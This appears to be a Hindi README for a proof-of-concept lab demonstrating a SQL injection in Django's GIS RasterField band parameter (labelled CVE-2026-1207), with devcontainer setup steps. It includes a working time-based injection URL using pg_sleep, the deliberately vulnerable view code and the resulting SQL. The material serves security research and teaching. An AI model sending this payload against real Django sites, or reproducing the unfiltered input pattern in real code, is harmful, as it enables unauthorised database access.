
Django फ्रेमवर्क में PostGIS का उपयोग करके भौगोलिक रास्टर (raster) डेटा क्वेरी करते समय, यदि अप्रमाणित उपयोगकर्ता इनपुट को सीधे band index (बैंड इंडेक्स) पैरामीटर के रूप में उपयोग किया जाता है, तो SQL इंजेक्शन उत्पन्न हो सकता है।
भेद्यता प्रकार: SQL इंजेक्शन (SQL Injection)
प्रभावित घटक: django.contrib.gis RasterField
जब Django GIS के RasterField का उपयोग क्वेरी के लिए किया जाता है, तो band पैरामीटर को सीधे SQL स्टेटमेंट में जोड़ दिया जाता है, जिससे SQL इंजेक्शन भेद्यता उत्पन्न होती है। हमलावर दुर्भावनापूर्ण band पैरामीटर मान बनाकर मनमाना SQL कोड इंजेक्ट कर सकता है।
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer कॉन्फ़िगरेशन
├── .vscode/ # VSCode कॉन्फ़िगरेशन
├── vuln/ # भेद्यता प्रदर्शन ऐप
│ ├── models.py # RasterField युक्त मॉडल
│ ├── views.py # भेद्यता ट्रिगर बिंदु
│ └── migrations/ # डेटाबेस माइग्रेशन फ़ाइलें
├── web/ # Django प्रोजेक्ट कॉन्फ़िगरेशन
├── manage.py
├── README.md
यह भेद्यता प्रोजेक्ट VSCode के devcontainer का उपयोग करके बनाया गया है।
VS Code के साथ मौजूदा प्रोजेक्ट रूट निर्देशिका खोलें (जिसमें .devcontainer फ़ोल्डर शामिल है)।
Ctrl+Shift+P (Windows/Linux) या Cmd+Shift+P (Mac) दबाएं
Remote-Containers: Reopen in Container दर्ज करें
VS Code .devcontainer कॉन्फ़िगरेशन पढ़ेगा और कंटेनर बनाएगा (पहली बार बनाने में कुछ मिनट लग सकते हैं)
⚠️ यदि Dockerfile या निर्भरताएँ अपडेट हुई हैं, तो Remote-Containers: Rebuild Container चुनें, ताकि नवीनतम पर्यावरण सुनिश्चित हो।
कमांड पैलेट खोलें Ctrl+Shift+P
Tasks: Run Task दर्ज करें
django:start चुनें (कार्य .vscode/tasks.json में कॉन्फ़िगर किया गया है)
यह कार्य कंटेनर के अंदर Django विकास सर्वर शुरू करेगा
डिफ़ॉल्ट रूप से 0.0.0.0:8087 पर सुनता है
ब्राउज़र खोलकर एक्सेस करें:
http://localhost:8087
पहली बार चलाने पर डेटाबेस माइग्रेशन करने की आवश्यकता हो सकती है:
python manage.py migrate
भेद्यता विश्लेषण विवरण प्रकाशित है 先知https://xz.aliyun.com/news/91993
वीचैट सार्वजनिक खाताhttps://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A
SQL इंजेक्शन ट्रिगर करने के लिए निम्न URL तक पहुँचें:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
प्रतिक्रिया समय का निरीक्षण करें, सामान्य अनुरोध तुरंत लौटना चाहिए, इंजेक्शन अनुरोध लगभग 3 सेकंड की देरी करेगा।
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← फ़िल्टर न किया गया उपयोगकर्ता इनपुट
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band सीधे क्वेरी में पास किया गया
print(qs.query) # ← उत्पन्न SQL देखें
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
यह प्रोजेक्ट केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कृपया अनधिकृत सिस्टम पर इसका उपयोग न करें।